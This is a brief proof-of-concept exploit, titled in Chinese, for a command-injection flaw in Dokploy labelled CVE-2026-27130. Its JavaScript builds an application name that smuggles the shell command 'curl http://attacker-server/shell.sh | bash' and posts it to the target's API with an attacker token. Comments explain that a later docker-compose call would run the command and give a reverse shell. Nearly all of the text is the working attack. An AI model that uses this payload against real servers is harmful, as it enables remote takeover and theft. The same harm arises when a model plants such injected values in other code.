CVE-2026-27130 Dokploy远程命令执行漏洞

// PoC for CVE-2026-27130 // Attacker injects a payload into the appName parameter during application creation. // The payload attempts to execute a reverse shell. const maliciousAppName = "testapp; $(curl http://attacker-server/shell.sh | bash) #"; // Hypothetical HTTP Request to create the application fetch('https://target-dokploy.com/api/application', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <ATTACKER_TOKEN>' }, body: JSON.stringify({ appName: maliciousAppName, // Vulnerable parameter // ... other necessary fields }) }); // Triggering the execution // When the admin or system triggers a service operation (e.g., start/stop), // the command executed by the server might look like: // docker-compose up -d "testapp; $(curl http://attacker-server/shell.sh | bash) #" // This results in the execution of the injected curl command.